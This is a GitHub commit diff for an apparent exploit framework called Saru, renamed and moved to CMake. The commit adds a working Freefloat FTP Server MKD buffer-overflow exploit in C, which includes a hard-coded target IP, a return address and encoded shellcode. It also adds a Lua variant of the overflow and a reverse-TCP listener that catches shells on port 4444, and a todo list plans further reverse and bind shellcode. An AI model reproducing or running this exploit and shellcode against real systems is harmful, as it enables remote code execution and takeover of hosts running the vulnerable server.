Skip to content
This repository

HTTPS clone URL

Subversion checkout URL

You can clone with HTTPS or Subversion.

Download ZIP
Browse code

Renamed project from yaburu to Saru. Ported to cmake

  • Loading branch information...
commit 622453c3e6615fd2ba706d9afe0a167e66f476cc 1 parent ac9382c
Jacob Hammack authored

Showing 49 changed files with 3,285 additions and 14 deletions. Show diff stats Hide diff stats

  1. +1 2  .gitignore
  2. +21 6 LICENSE
  3. +1 6 README.markdown
  4. 0  build.bat
  5. +6 0 build.sh
  6. +52 0 docs/todo.markdown
  7. +17 0 src/CMakeLists.txt
  8. +29 0 src/cmake/FindReadline.cmake
  9. +2 0  src/libexploit/CMakeLists.txt
  10. +32 0 src/libmodules/CMakeLists.txt
  11. +64 0 src/libmodules/encoders/simple_xor.c
  12. +126 0 src/libmodules/exploits/windows/ftp/freefloat_ftp_server_mkd.c
  13. +25 0 src/libmodules/exploits/windows/ftp/freefloat_ftp_server_mkd.lua
  14. +195 0 src/libmodules/handlers/reverse_tcp.c
  15. +31 0 src/libmodules/handlers/reverse_tcp.lua
  16. +43 0 src/libmodules/modules.c
  17. +52 0 src/libmodules/modules.h
  18. +38 0 src/libmodules/payloads/win32/exec/exec.c
  19. +159 0 src/libmodules/payloads/win32/exec/exec.s
  20. +31 0 src/libmodules/payloads/win32/sleep/sleep.asm
  21. +2 0  src/libsaru/CMakeLists.txt
  22. +89 0 src/libsaru/map.c
  23. +62 0 src/libsaru/map.h
  24. +53 0 src/libsaru/memory.c
  25. +54 0 src/libsaru/memory.h
  26. +273 0 src/libsaru/module_manager.c
  27. +109 0 src/libsaru/module_manager.h
  28. +57 0 src/libsaru/options.c
  29. +62 0 src/libsaru/options.h
  30. +147 0 src/libsaru/output.c
  31. +86 0 src/libsaru/output.h
  32. +159 0 src/libsaru/tcp.c
  33. +71 0 src/libsaru/tcp.h
  34. +208 0 src/libsaru/text.c
  35. +62 0 src/libsaru/text.h
  36. +11 0 src/saru/CMakeLists.txt
  37. +117 0 src/saru/command_manager.c
  38. +81 0 src/saru/command_manager.h
  39. +54 0 src/saru/commands.h
  40. +138 0 src/saru/console.c
  41. +56 0 src/saru/console.h
  42. +57 0 src/saru/exec_command.c
  43. +56 0 src/saru/exit_command.c
  44. +55 0 src/saru/help_command.c
  45. +56 0 src/saru/show_command.c
  46. +73 0 src/saru/use_command.c
  47. +9 0 src/tools/CMakeLists.txt
  48. +54 0 src/tools/pattern_create.c
  49. +49 0 src/tools/pattern_offset.c
3  .gitignore
... ... @@ -1,3 +1,2 @@
1 1 .DS_store
2   -*.pyc
3   -venv/
  2 +build/
27 LICENSE
... ... @@ -1,10 +1,25 @@
1   -Copyright (c) 2011-2013, Arxopia LLC.
  1 +Copyright (c) 2011-2013 Arxopia LLC.
2 2 All rights reserved.
3 3
4   -Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
  4 +Redistribution and use in source and binary forms, with or without
  5 +modification, are permitted provided that the following conditions are met:
5 6
6   -Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
7   -Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
8   -
9   -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  7 + * Redistributions of source code must retain the above copyright
  8 + notice, this list of conditions and the following disclaimer.
  9 + * Redistributions in binary form must reproduce the above copyright
  10 + notice, this list of conditions and the following disclaimer in the
  11 + documentation and/or other materials provided with the distribution.
  12 + * Neither the name of the Arxopia LLC nor the names of its contributors
  13 + may be used to endorse or promote products derived from this software
  14 + without specific prior written permission.
10 15
  16 +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
  17 +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
  18 +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
  19 +DISCLAIMED. IN NO EVENT SHALL ARXOPIA LLC BE LIABLE FOR ANY DIRECT, INDIRECT,
  20 +INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
  21 +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
  22 +OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
  23 +LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
  24 +OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
  25 +OF THE POSSIBILITY OF SUCH DAMAGE.
7 README.markdown
Source Rendered
... ... @@ -1,14 +1,9 @@
1 1 # Saru
2 2
3   -Saru is an exploit / fuzzer / security framework under very heavy development.
  3 +Saru is an security framework under very heavy development.
4 4
5 5 ## Meaning
6 6
7 7 Saru means 'monkey' in Japanese.
8 8
9   -# Installation
10   -
11   -## Contact
12   -
13   -
14 9
0  build.bat
No changes.
6 build.sh
... ... @@ -0,0 +1,6 @@
  1 +#!/bin/bash
  2 +
  3 +cd build
  4 +cmake ../src/
  5 +make all
  6 +
52 docs/todo.markdown
Source Rendered
... ... @@ -0,0 +1,52 @@
  1 +#Things to do...
  2 +
  3 +## Blocking
  4 +[ ] Full CMake support
  5 +
  6 +## Command Manager
  7 +[ ] Clean up all the Commands in command Manager
  8 + [ ] For Each command
  9 + [ ] Fix formatting
  10 + [ ] Make sure everything is free'd
  11 + [ ] Remove debugging code
  12 +[ ] Options for payloads and modules
  13 +
  14 +##Networking
  15 +[ ] FTP support, Abstract FTP interactions
  16 +
  17 +## Console
  18 +[ ] Full readline support
  19 + [X] History
  20 + [ ] Command Completion
  21 +[ ] Command line parser
  22 + [ ] Handle module arguments also
  23 +
  24 +## Shellcode
  25 +[ ] win32
  26 + [ ] reverse_tcp
  27 + [ ] bind
  28 + [ ] exec
  29 +[ ] win64
  30 + [ ] reverse_tcp
  31 + [ ] bind
  32 + [ ] exec
  33 +[ ] linux
  34 + [ ] reverse_tcp
  35 + [ ] bind
  36 + [ ] exec
  37 +[ ] osx
  38 + [ ] reverse_tcp
  39 + [ ] bind
  40 + [ ] exec
  41 +
  42 +## Tools
  43 +[ ] singleshot
  44 +[ ] rexec
  45 +[ ] hexdump
  46 +[ ] payload
  47 +[ ] binscan
  48 +
  49 +## Testing
  50 +[ ] Unit tests for libraries
  51 +[ ] Pass Valgrind
  52 +[ ] Pass splint
17 src/CMakeLists.txt
... ... @@ -0,0 +1,17 @@
  1 +cmake_minimum_required (VERSION 2.6)
  2 +project (saru)
  3 +
  4 +set(CMAKE_ARCHIVE_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/lib)
  5 +set(CMAKE_LIBRARY_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/lib)
  6 +set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}/bin)
  7 +set(CMAKE_COLOR_MAKEFILE ON)
  8 +
  9 +SET(CMAKE_MODULE_PATH "${CMAKE_CURRENT_SOURCE_DIR}/cmake" ${CMAKE_MODULE_PATH})
  10 +
  11 +
  12 +
  13 +add_subdirectory (libexploit/)
  14 +add_subdirectory (libsaru/)
  15 +add_subdirectory (libmodules/)
  16 +add_subdirectory (tools/)
  17 +add_subdirectory (saru/)
29 src/cmake/FindReadline.cmake
... ... @@ -0,0 +1,29 @@
  1 +# from http://websvn.kde.org/trunk/KDE/kdeedu/cmake/modules/FindReadline.cmake
  2 +# http://websvn.kde.org/trunk/KDE/kdeedu/cmake/modules/COPYING-CMAKE-SCRIPTS
  3 +# --> BSD licensed
  4 +#
  5 +# GNU Readline library finder
  6 +if(READLINE_INCLUDE_DIR AND READLINE_LIBRARY AND NCURSES_LIBRARY)
  7 + set(READLINE_FOUND TRUE)
  8 +else(READLINE_INCLUDE_DIR AND READLINE_LIBRARY AND NCURSES_LIBRARY)
  9 + FIND_PATH(READLINE_INCLUDE_DIR readline/readline.h
  10 + /usr/include/readline
  11 + )
  12 +
  13 +# 2008-04-22 The next clause used to read like this:
  14 +#
  15 +# FIND_LIBRARY(READLINE_LIBRARY NAMES readline)
  16 +# FIND_LIBRARY(NCURSES_LIBRARY NAMES ncurses )
  17 +# include(FindPackageHandleStandardArgs)
  18 +# FIND_PACKAGE_HANDLE_STANDARD_ARGS(Readline DEFAULT_MSG NCURSES_LIBRARY READLINE_INCLUDE_DIR READLINE_LIBRARY )
  19 +#
  20 +# I was advised to modify it such that it will find an ncurses library if
  21 +# required, but not if one was explicitly given, that is, it allows the
  22 +# default to be overridden. PH
  23 +
  24 + FIND_LIBRARY(READLINE_LIBRARY NAMES readline)
  25 + include(FindPackageHandleStandardArgs)
  26 + FIND_PACKAGE_HANDLE_STANDARD_ARGS(Readline DEFAULT_MSG READLINE_INCLUDE_DIR READLINE_LIBRARY )
  27 +
  28 + MARK_AS_ADVANCED(READLINE_INCLUDE_DIR READLINE_LIBRARY)
  29 +endif(READLINE_INCLUDE_DIR AND READLINE_LIBRARY AND NCURSES_LIBRARY)
2  src/libexploit/CMakeLists.txt
... ... @@ -0,0 +1,2 @@
  1 +
  2 +#add_library(exploit STATIC map.c memory.c module_manager.c options.c output.c tcp.c text.c)
32 src/libmodules/CMakeLists.txt
... ... @@ -0,0 +1,32 @@
  1 +project(libmodules)
  2 +
  3 +include_directories(${libsaru_SOURCE_DIR})
  4 +
  5 +set(headers modules.c modules.h)
  6 +
  7 +file(GLOB_RECURSE EXPLOITS_SRCS
  8 + RELATIVE ${CMAKE_CURRENT_SOURCE_DIR}
  9 + ${CMAKE_CURRENT_SOURCE_DIR}/exploits/*.c
  10 + ${CMAKE_CURRENT_SOURCE_DIR}/exploits/*.h)
  11 +
  12 +file(GLOB_RECURSE HANDERS_SRCS
  13 + RELATIVE ${CMAKE_CURRENT_SOURCE_DIR}
  14 + ${CMAKE_CURRENT_SOURCE_DIR}/handlers/*.c
  15 + ${CMAKE_CURRENT_SOURCE_DIR}/handlers/*.h)
  16 +
  17 +file(GLOB_RECURSE PAYLOADS_SRCS
  18 + RELATIVE ${CMAKE_CURRENT_SOURCE_DIR}
  19 + ${CMAKE_CURRENT_SOURCE_DIR}/payloads/*.c
  20 + ${CMAKE_CURRENT_SOURCE_DIR}/payloads/*.h)
  21 +
  22 +file(GLOB_RECURSE ENCODERS_SRCS
  23 + RELATIVE ${CMAKE_CURRENT_SOURCE_DIR}
  24 + ${CMAKE_CURRENT_SOURCE_DIR}/encoders/*.c
  25 + ${CMAKE_CURRENT_SOURCE_DIR}/encoders/*.h)
  26 +
  27 +SET(BASEPATH ${CMAKE_CURRENT_SOURCE_DIR})
  28 +INCLUDE_DIRECTORIES(${BASEPATH})
  29 +
  30 +add_library(modules STATIC modules.c modules.h ${EXPLOITS_SRCS} ${HANDERS_SRCS} ${PAYLOADS_SRCS} ${ENCODERS_SRCS})
  31 +
  32 +target_link_libraries(modules ${CMAKE_LIBRARY_OUTPUT_DIRECTORY}/libsaru.a)
64 src/libmodules/encoders/simple_xor.c
... ... @@ -0,0 +1,64 @@
  1 +/* Copyright (c) 2013 Arxopia LLC.
  2 + All rights reserved.
  3 +
  4 + Redistribution and use in source and binary forms, with or without
  5 + modification, are permitted provided that the following conditions are met:
  6 +
  7 + * Redistributions of source code must retain the above copyright
  8 + notice, this list of conditions and the following disclaimer.
  9 + * Redistributions in binary form must reproduce the above copyright
  10 + notice, this list of conditions and the following disclaimer in the
  11 + documentation and/or other materials provided with the distribution.
  12 + * Neither the name of the Arxopia LLC nor the names of its contributors
  13 + may be used to endorse or promote products derived from this software
  14 + without specific prior written permission.
  15 +
  16 + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
  17 + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
  18 + WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
  19 + DISCLAIMED. IN NO EVENT SHALL ARXOPIA LLC BE LIABLE FOR ANY DIRECT, INDIRECT,
  20 + INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
  21 + LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
  22 + OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
  23 + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
  24 + OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
  25 + OF THE POSSIBILITY OF SUCH DAMAGE.
  26 +*/
  27 +
  28 +#include <stdio.h>
  29 +
  30 +#include "modules.h"
  31 +
  32 +void *encoder_simple_xor(struct module_t *module);
  33 +
  34 +struct module_t *encoder_simple_xor_init()
  35 +{
  36 + struct module_t *module;
  37 +
  38 + module = malloc(sizeof(*module));
  39 +
  40 + if(!module)
  41 + {
  42 + print_error("Unable to malloc() memory for simple_xor!\n");
  43 + exit(EXIT_FAILURE);
  44 + }
  45 +
  46 + module->name = "simple_xor";
  47 + module->description = "Encodes payload with a simple_xor encoder";
  48 + module->type = ENCODER;
  49 + module->exec = encoder_simple_xor;
  50 +
  51 + module->next = NULL;
  52 +
  53 + return module;
  54 +}
  55 +
  56 +void *encoder_simple_xor(struct module_t *module)
  57 +{
  58 + print_error("%s\n", module->name);
  59 +
  60 +
  61 +
  62 +
  63 + return 0;
  64 +}
126 src/libmodules/exploits/windows/ftp/freefloat_ftp_server_mkd.c
... ... @@ -0,0 +1,126 @@
  1 +/* Copyright (c) 2013 Arxopia LLC.
  2 + All rights reserved.
  3 +
  4 + Redistribution and use in source and binary forms, with or without
  5 + modification, are permitted provided that the following conditions are met:
  6 +
  7 + * Redistributions of source code must retain the above copyright
  8 + notice, this list of conditions and the following disclaimer.
  9 + * Redistributions in binary form must reproduce the above copyright
  10 + notice, this list of conditions and the following disclaimer in the
  11 + documentation and/or other materials provided with the distribution.
  12 + * Neither the name of the Arxopia LLC nor the names of its contributors
  13 + may be used to endorse or promote products derived from this software
  14 + without specific prior written permission.
  15 +
  16 + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
  17 + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
  18 + WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
  19 + DISCLAIMED. IN NO EVENT SHALL ARXOPIA LLC BE LIABLE FOR ANY DIRECT, INDIRECT,
  20 + INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
  21 + LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
  22 + OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
  23 + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
  24 + OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
  25 + OF THE POSSIBILITY OF SUCH DAMAGE.
  26 +*/
  27 +
  28 +#include <stdio.h>
  29 +
  30 +#include "tcp.h"
  31 +#include "modules.h"
  32 +
  33 +void *freefloat_ftp_server_mkd_exploit(struct module_t *module);
  34 +
  35 +struct module_t *exploit_freefloat_ftp_server_mkd_init()
  36 +{
  37 + struct module_t *module;
  38 + struct target_t target = { "Windows XP SP3", 247, "\xEF\x31\x9D\x7C" };
  39 +
  40 + module = malloc(sizeof(*module));
  41 +
  42 + if(!module)
  43 + {
  44 + print_error("Unable to malloc() memory for freefloat_ftp_server_mkd_exploit!\n");
  45 + exit(1);
  46 + }
  47 +
  48 + module->name = "freefloat";
  49 + module->description = "Freefloat FTP Server MKD buffer overflow";
  50 + module->type = EXPLOIT;
  51 + module->exec = freefloat_ftp_server_mkd_exploit;
  52 +
  53 + module->next = NULL;
  54 +
  55 + module->target = target;
  56 +
  57 + return module;
  58 +}
  59 +
  60 +void *freefloat_ftp_server_mkd_exploit(struct module_t *module)
  61 +{
  62 + struct module_t *self;
  63 + int sock_fd;
  64 + char buffer[1024];
  65 + char attack_string[1006];
  66 + char *sc;
  67 + int space;
  68 + int offset;
  69 + char *junk;
  70 + char *nops;
  71 +
  72 + offset = 0;
  73 + space = 0;
  74 +
  75 + self = module;
  76 +
  77 + print_error("self.offset = %d", self->target.offset);
  78 +
  79 + memset(&buffer, 0, 1024);
  80 +
  81 + /* Hard coded until i get a good options method setup */
  82 + sock_fd = tcp_socket_connect("10.69.69.208", "21", buffer, 1024);
  83 +
  84 + memset(&attack_string, '\x90', 1006);
  85 +
  86 + sc =
  87 + "\xba\x46\x14\xf5\x8a\xda\xc8\xd9\x74\x24\xf4\x5e\x2b\xc9"
  88 + "\xb1\x33\x83\xee\xfc\x31\x56\x0e\x03\x10\x1a\x17\x7f\x60"
  89 + "\xca\x5e\x80\x98\x0b\x01\x08\x7d\x3a\x13\x6e\xf6\x6f\xa3"
  90 + "\xe4\x5a\x9c\x48\xa8\x4e\x17\x3c\x65\x61\x90\x8b\x53\x4c"
  91 + "\x21\x3a\x5c\x02\xe1\x5c\x20\x58\x36\xbf\x19\x93\x4b\xbe"
  92 + "\x5e\xc9\xa4\x92\x37\x86\x17\x03\x33\xda\xab\x22\x93\x51"
  93 + "\x93\x5c\x96\xa5\x60\xd7\x99\xf5\xd9\x6c\xd1\xed\x52\x2a"
  94 + "\xc2\x0c\xb6\x28\x3e\x47\xb3\x9b\xb4\x56\x15\xd2\x35\x69"
  95 + "\x59\xb9\x0b\x46\x54\xc3\x4c\x60\x87\xb6\xa6\x93\x3a\xc1"
  96 + "\x7c\xee\xe0\x44\x61\x48\x62\xfe\x41\x69\xa7\x99\x02\x65"
  97 + "\x0c\xed\x4d\x69\x93\x22\xe6\x95\x18\xc5\x29\x1c\x5a\xe2"
  98 + "\xed\x45\x38\x8b\xb4\x23\xef\xb4\xa7\x8b\x50\x11\xa3\x39"
  99 + "\x84\x23\xee\x57\x5b\xa1\x94\x1e\x5b\xb9\x96\x30\x34\x88"
  100 + "\x1d\xdf\x43\x15\xf4\xa4\xbc\x5f\x55\x8c\x54\x06\x0f\x8d"
  101 + "\x38\xb9\xe5\xd1\x44\x3a\x0c\xa9\xb2\x22\x65\xac\xff\xe4"
  102 + "\x95\xdc\x90\x80\x99\x73\x90\x80\xf9\x12\x02\x48\xd0\xb1"
  103 + "\xa2\xeb\x2c";
  104 +
  105 + /* Total size - addrlen - offset - payload_len - 'MKD ' - 2 for \r\n*/
  106 + space = (1006 - 4 - 247 - strlen(sc) - 4 - 2);
  107 +
  108 + junk = make_buff('A', 247);
  109 + nops = make_buff('\x90', space);
  110 +
  111 + memcat(attack_string, 1006, &offset, "MKD ", 4);
  112 + memcat(attack_string, 1006, &offset, junk, 247);
  113 + memcat(attack_string, 1006, &offset, "\xEF\x31\x9D\x7C", 4);
  114 + memcat(attack_string, 1006, &offset, nops, space);
  115 + memcat(attack_string, 1006, &offset, sc, strlen(sc));
  116 + memcat(attack_string, 1006, &offset, "\r\n", 2);
  117 +
  118 + tcp_send_recv(sock_fd, "USER wtf\r\n", 11, buffer, 1024);
  119 + tcp_send_recv(sock_fd, "PASS wtf\r\n", 11, buffer, 1024);
  120 + tcp_send_recv(sock_fd, attack_string, 1006, buffer, 1024);
  121 +
  122 + free(junk);
  123 + free(nops);
  124 +
  125 + return 0;
  126 +}
25 src/libmodules/exploits/windows/ftp/freefloat_ftp_server_mkd.lua
... ... @@ -0,0 +1,25 @@
  1 +-- exploit test
  2 +
  3 +function init()
  4 + module_info = {}
  5 + module_info['name'] = "FreeFloat FTP Server MKD Buffer overflow"
  6 + module_info['authors'] = "hammackj"
  7 +
  8 +end
  9 +
  10 +function exploit()
  11 + local socket = require("socket")
  12 + client = socket.connect("10.69.69.208", 21)
  13 + print(client:receive())
  14 +
  15 + attack_string = "MKD " .. string.rep("A", 1000) .. "\r\n"
  16 +
  17 + client:send("USER random\r\n")
  18 + print(client:receive())
  19 + client:send("PASS random\r\n")
  20 + print(client:receive())
  21 + client:send(attack_string)
  22 +end
  23 +
  24 +
  25 +exploit()
195 src/libmodules/handlers/reverse_tcp.c
... ... @@ -0,0 +1,195 @@
  1 +/* Copyright (c) 2013 Arxopia LLC.
  2 + All rights reserved.
  3 +
  4 + Redistribution and use in source and binary forms, with or without
  5 + modification, are permitted provided that the following conditions are met:
  6 +
  7 + * Redistributions of source code must retain the above copyright
  8 + notice, this list of conditions and the following disclaimer.
  9 + * Redistributions in binary form must reproduce the above copyright
  10 + notice, this list of conditions and the following disclaimer in the
  11 + documentation and/or other materials provided with the distribution.
  12 + * Neither the name of the Arxopia LLC nor the names of its contributors
  13 + may be used to endorse or promote products derived from this software
  14 + without specific prior written permission.
  15 +
  16 + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
  17 + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
  18 + WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
  19 + DISCLAIMED. IN NO EVENT SHALL ARXOPIA LLC BE LIABLE FOR ANY DIRECT, INDIRECT,
  20 + INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
  21 + LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
  22 + OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
  23 + LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
  24 + OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
  25 + OF THE POSSIBILITY OF SUCH DAMAGE.
  26 +*/
  27 +
  28 +#include <sys/socket.h>
  29 +#include <netinet/in.h>
  30 +#include <arpa/inet.h>
  31 +#include <stdio.h>
  32 +#include <stdlib.h>
  33 +#include <unistd.h>
  34 +#include <errno.h>
  35 +#include <string.h>
  36 +#include <sys/types.h>
  37 +#include <time.h>
  38 +#include <sys/uio.h>
  39 +#include <sys/unistd.h>
  40 +#include <sys/fcntl.h>
  41 +#include <sys/poll.h>
  42 +#include <err.h>
  43 +#include <pthread.h>
  44 +#include <signal.h>
  45 +
  46 +#include "modules.h"
  47 +
  48 +void *handler_reverse_tcp_start(struct module_t *module);
  49 +
  50 +int timeout = -1;
  51 +
  52 +void handle_client(int sock_fd)
  53 +{
  54 + struct pollfd pfd[2];
  55 + unsigned char buf[8192];
  56 + int n, wfd = fileno(stdin);
  57 + int lfd = fileno(stdout);
  58 + int plen;
  59 +
  60 + plen = 1024;
  61 +
  62 + /* Setup Network FD */
  63 + pfd[0].fd = sock_fd;
  64 + pfd[0].events = POLLIN;
  65 +
  66 + /* Set up STDIN FD. */
  67 + pfd[1].fd = wfd;
  68 + pfd[1].events = POLLIN;
  69 +
  70 + while (pfd[0].fd != -1)
  71 + {
  72 + if (pfd[0].revents & POLLHUP)
  73 + {
  74 + return;
  75 + }
  76 +
  77 + if ((n = poll(pfd, 2, timeout)) < 0)
  78 + {
  79 + close(sock_fd);
  80 + err(1, "Polling Error");
  81 + }
  82 +
  83 + if (n == 0)
  84 + {
  85 + return;
  86 + }
  87 +
  88 + if (pfd[0].revents & POLLIN)
  89 + {
  90 + if ((n = read(sock_fd, buf, plen)) < 0)
  91 + {
  92 + return;
  93 + }
  94 + else if (n == 0)
  95 + {
  96 + shutdown(sock_fd, SHUT_RD);
  97 + pfd[0].fd = -1;
  98 + pfd[0].events = 0;
  99 + }
  100 + else
  101 + {
  102 + if (write(lfd, buf, n) != n)
  103 + {
  104 + return;
  105 + }
  106 + }
  107 + }
  108 +
  109 + if (pfd[1].revents & POLLIN)
  110 + {
  111 + if ((n = read(wfd, buf, plen)) < 0)
  112 + {
  113 + return;
  114 + }
  115 + else if (n == 0)
  116 + {
  117 + shutdown(sock_fd, SHUT_WR);
  118 + pfd[1].fd = -1;
  119 + pfd[1].events = 0;
  120 + }
  121 + else
  122 + {
  123 + if((send(sock_fd, buf, n, MSG_NOSIGNAL)) != n)
  124 + {
  125 + printf("This ran\n");
  126 + return;
  127 + }
  128 + }
  129 + }
  130 + }
  131 +}
  132 +
  133 +struct module_t *handler_reverse_tcp_init(void)
  134 +{
  135 + struct module_t *module;
  136 + module = malloc(sizeof(*module));
  137 +
  138 + if(!module)
  139 + {
  140 + print_error("Unable to malloc() memory for reverse_tcp!\n");
  141 + exit(1);
  142 + }
  143 +
  144 + module->name = "reverse_tcp";
  145 + module->description = "Reverse TCP handler";
  146 + module->type = HANDLER;
  147 + module->exec = handler_reverse_tcp_start;
  148 + module->next = NULL;
  149 +
  150 + return module;
  151 +}
  152 +
  153 +void *handler_reverse_tcp_start(struct module_t *module)
  154 +{
  155 + int listen_fd = 0;
  156 + int client_fd = 0;
  157 + struct sockaddr_in serv_addr;
  158 + struct module_t *self;
  159 +
  160 + self = module;
  161 +
  162 + (void) self;
  163 +
  164 +#ifdef SIGPIPE
  165 + signal (SIGPIPE, SIG_IGN);
  166 +#endif
  167 +
  168 + listen_fd = socket(AF_INET, SOCK_STREAM, 0);
  169 + memset(&serv_addr, '0', sizeof(serv_addr));
  170 +
  171 + serv_addr.sin_family = AF_INET;
  172 + serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
  173 + serv_addr.sin_port = htons(4444);
  174 +
  175 + bind(listen_fd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
  176 + listen(listen_fd, 10);
  177 +
  178 + print_status("Handler listening on port 4444");
  179 +
  180 + client_fd = accept(listen_fd, (struct sockaddr*)NULL, NULL);
  181 +
  182 + print_status("Client accepted");
  183 +
  184 + if (client_fd == -1)
  185 + {
  186 + perror("client error");
  187 + print_error("Exploit failed.");
  188 + }
  189 +
  190 + handle_client(client_fd);
  191 +
  192 + close(client_fd);
  193 +
  194 + return 0;
  195 +}
31 src/libmodules/handlers/reverse_tcp.lua
... ... @@ -0,0 +1,31 @@
  1 +function hex_dump(buf)
  2 + for i=1,math.ceil(#buf/16) * 16 do
  3 + if (i-1) % 16 == 0 then io.write(string.format('%08X ', i-1)) end
  4 + io.write( i > #buf and ' ' or string.format('%02X ', buf:byte(i)) )
  5 + if i % 8 == 0 then io.write(' ') end
  6 + if i % 16 == 0 then io.write( buf:sub(i-16+1, i):gsub('%c','.'), '\n' ) end
  7 + end
  8 +end
  9 +
  10 +local socket = require("socket")
  11 +local server = assert(socket.bind("*", 4444))
  12 +
  13 +local ip, port = server:getsockname()
  14 +
  15 +print("Please telnet to localhost on port " .. port)
  16 +
  17 +local client = server:accept()
  18 +
  19 +while 1 do
  20 + print("looping")
  21 +
  22 + while true do
  23 + line, err = client:receive()
  24 + hex_dump(line)
  25 + print(err)
  26 + end
  27 +
  28 + client:send(io.read() .. "\r\n")
  29 +end
  30 +
  31 +client:close()
43 src/libmodules/modules.c
... ... @@ -0,0 +1,43 @@
  1 +/* Copyright (c) 2013 Arxopia LLC.
  2 + All rights reserved.
  3 +
  4 + Redistribution and use in source and binary forms, with or without
  5 + modification, are permitted provided that the following conditions are met:
  6 +
  7 + * Redistributions of source code must retain the above copyright
  8 + notice, this list of conditions and the following disclaimer.
  9 + * Redistributions in binary form must reproduce the above copyright
  10 + notice, this list of conditions and the following disclaimer in the
  11 + documentation and/or other materials provided with the distribution.
  12 + * Neither the name of the Arxopia LLC nor the names of its contributors
  13 + may be used to endorse or promote products derived from this software
  14 + without specific prior written permission.
  15 +
  16 + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
  17 + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
  18 + WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
  19 + DISCLAIMED. IN NO EVENT SHALL ARXOPIA LLC BE LIABLE FOR ANY DIRECT, INDIRECT,
  20 + INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
  21 + LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
